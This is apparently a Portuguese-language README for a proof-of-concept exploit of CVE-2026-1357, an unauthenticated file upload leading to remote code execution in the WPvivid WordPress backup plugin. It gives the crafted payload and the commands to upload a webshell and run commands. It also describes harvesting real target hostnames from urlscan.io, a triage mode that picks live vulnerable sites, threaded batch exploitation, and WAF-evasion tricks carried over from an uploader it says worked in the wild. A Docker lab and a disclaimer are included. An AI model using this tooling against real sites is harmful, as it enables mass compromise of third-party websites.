
Prova de conceito de exploit para CVE-2026-1357, um upload arbitrário de arquivos sem autenticação no WPvivid Backup & Migration que leva à execução remota de código. Inclui um script Python autônomo, técnicas de evasão de WAF e um laboratório vulnerável em Docker para autorização
PoC para CVE-2026-1357 (CVSS 9.8 Crítico, CWE-434): um upload arbitrário de arquivo não autenticado no plugin WPvivid Backup & Migration para WordPress que leva à execução remota de código. Corrigido na versão 0.9.124 (changeset 3448386). Relatado por Lucas Montes por meio do programa Bug Bounty da Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Esta prova de conceito é fornecida apenas para pesquisa de segurança autorizada, educação e testes defensivos.
O manipulador send_to_site não autenticado
(includes/customclass/class-wpvivid-send-to-site.php) descriptografa um
blob fornecido pelo atacante e grava o conteúdo de $params['data'] em
wp-content/wpvividbackups/<nome controlado pelo atacante> — sem
autenticação, sem nonce e sem sanitização de caminho em name.
A proteção pretendida é RSA: a mensagem deve ser criptografada com uma chave
de sessão aleatória, que por sua vez é criptografada com RSA usando a chave do site. A falha está
em WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // retorna FALSE em caso de falha (blob de chave inválido)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE é tratado como uma chave de byte nulo
return $rij->decrypt($data);
O Crypt_RSA::decrypt() do phpseclib retorna false quando o blob de chave fornecido
não pode ser descriptografado (por exemplo, openssl_private_decrypt() falha), e o plugin
não interrompe a execução. false é então passado para Crypt_Rijndael::setKey(), onde
strlen(false) → 0 → a chave é preenchida com 16 bytes nulos (AES-128, modo
CBC, IV nulo). Um atacante, portanto, "criptografa" o payload com uma chave nula
totalmente previsível — nenhum conhecimento da chave real do site é necessário.
O payload é JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 do PHP>"}
name é concatenado ao caminho sem sanitização
(str_replace('wpvivid','wpvivid_temp', $name) apenas reescreve a
substring "wpvivid"), então ../../ escapa de wp-content/wpvividbackups/ para
a raiz da web. Quando file_size/md5 correspondem, o arquivo temporário é renomeado para
o nome escolhido pelo atacante → PHP publicamente acessível → RCE.
A correção (changeset 3448386) interrompe a execução quando a etapa RSA falha:
if ($key === false || empty($key)) {
return false;
}
Alvo:
wpvivid_api_token deve existir e não estar expirada — criada
sempre que um administrador clica em Generate em WPvivid → Configurações → Auto
Migration (comum em sites que usam o recurso de migração)Atacante:
script.py é totalmente autônomo: apenas biblioteca padrão, sem imports locais,
sem arquivos externos. CLI posicional simples:
# alvo único
python script.py https://target.example.com
# comando personalizado
python script.py https://target.example.com --command "uname -a"
# modo lote (uma URL por linha) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# Evasão de WAF: nomes/valores de parâmetros codificados em percentual ou corpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# auto-exclusão do webshell após o teste
python script.py https://target.example.com --cleanup
Códigos de saída: 0 vulnerável, 1 caso contrário.
../lab/ contém um alvo vulnerável dockerizado (WordPress 6.8 + WPvivid
0.9.123 fonte de plugins/):
cd ../lab
docker compose up -d
# conclua a instalação do WordPress em http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Fonte verificada e funcional (testada ao vivo, sem necessidade de conta):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 páginas indexadas referenciando o slug do plugin; clique e colete
os hostnames. Cada URL de resultado começa com o caminho do plugin
(/wp-content/plugins/wpvivid-backuprestore/), então a extração de hosts é fácil.Consultas que foram testadas e NÃO produzem alvos (excluídas propositalmente):
dorks do Google/Bing (inurl: retorna apenas as páginas do wordpress.org do próprio plugin
ou uma parede de bots), DuckDuckGo (o mesmo), Shodan http.html: (HTML
truncado indexado, zero resultados), Wayback CDX wildcard (vazio), PublicWWW (bloqueio
de scraping de convidados).
Alimente os hosts coletados para o triage (integrado ao script.py como --triage),
que verifica para cada site:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (verificação não autenticada de baixo ruído; strings de consulta
?ver= de assets no HTML são o fallback)wpvivid_action=send_to_site&wpvivid_content=AAAA:
resposta JSON (The key is invalid.) = wpvivid_api_token existe;
vazio = sem token / plugin inativo / WAF descartou a sondaSomente sites que são <= 0.9.123 e com token ativo são gravados em
in-scope.txt, então:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Técnicas portadas de um uploader de 2025 de longa duração que continuou funcionando no mundo real (mesmo autor):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer de mesma origem, UA de navegadorReferer de mesma origem--threads N) com timeouts curtos por requisiçãosuccess.txt / failed.txt gravados no modo lote, apenas shells verificados
registrados como sucesso (como o arquivo success do original)--encode / --multipart para evasão de formato de requisição../lab/waf/ adiciona um proxy reverso owasp/modsecurity-crs:apache na frente do
WordPress vulnerável (WAF em :8092, alvo bruto em :8093). Comportamento
medido:
| Etapa | Resultado através do CRS |
|---|---|
| POST de upload (simples) | passa — blob AES + cabeçalhos AJAX não correspondem a nenhuma regra do CRS |
POST de upload (--encode) | passa |
POST de upload (--multipart) | passa |
GET do shell ?<p>=id / hostname / ls | passa, comando executa |
GET do shell ?<p>=id; hostname; uname -a | 403 — regras de injeção de comando 932xxx do CRS |
| GET simples (marcador PWN-OK) | passa |
O upload criptografado é invisível para a inspeção de conteúdo do CRS (mesma propriedade
de sobrevivência do AJAX de aparência permitida do uploader de 2025). A única superfície
do CRS é o GET de comando de acompanhamento, então a ferramenta agora usa --command id
por padrão e confirma RCE por meio do marcador PWN-OK de GET simples mesmo quando o GET
de comando é filtrado pelo WAF (relatado como vulnerable com uma nota). WAFs no host que
assinam wpvivid_action=send_to_site (por exemplo, patch virtual da Wordfence) ainda
bloqueiam o upload em si no nível do plugin — nenhum truque de formato de requisição
passa por eles.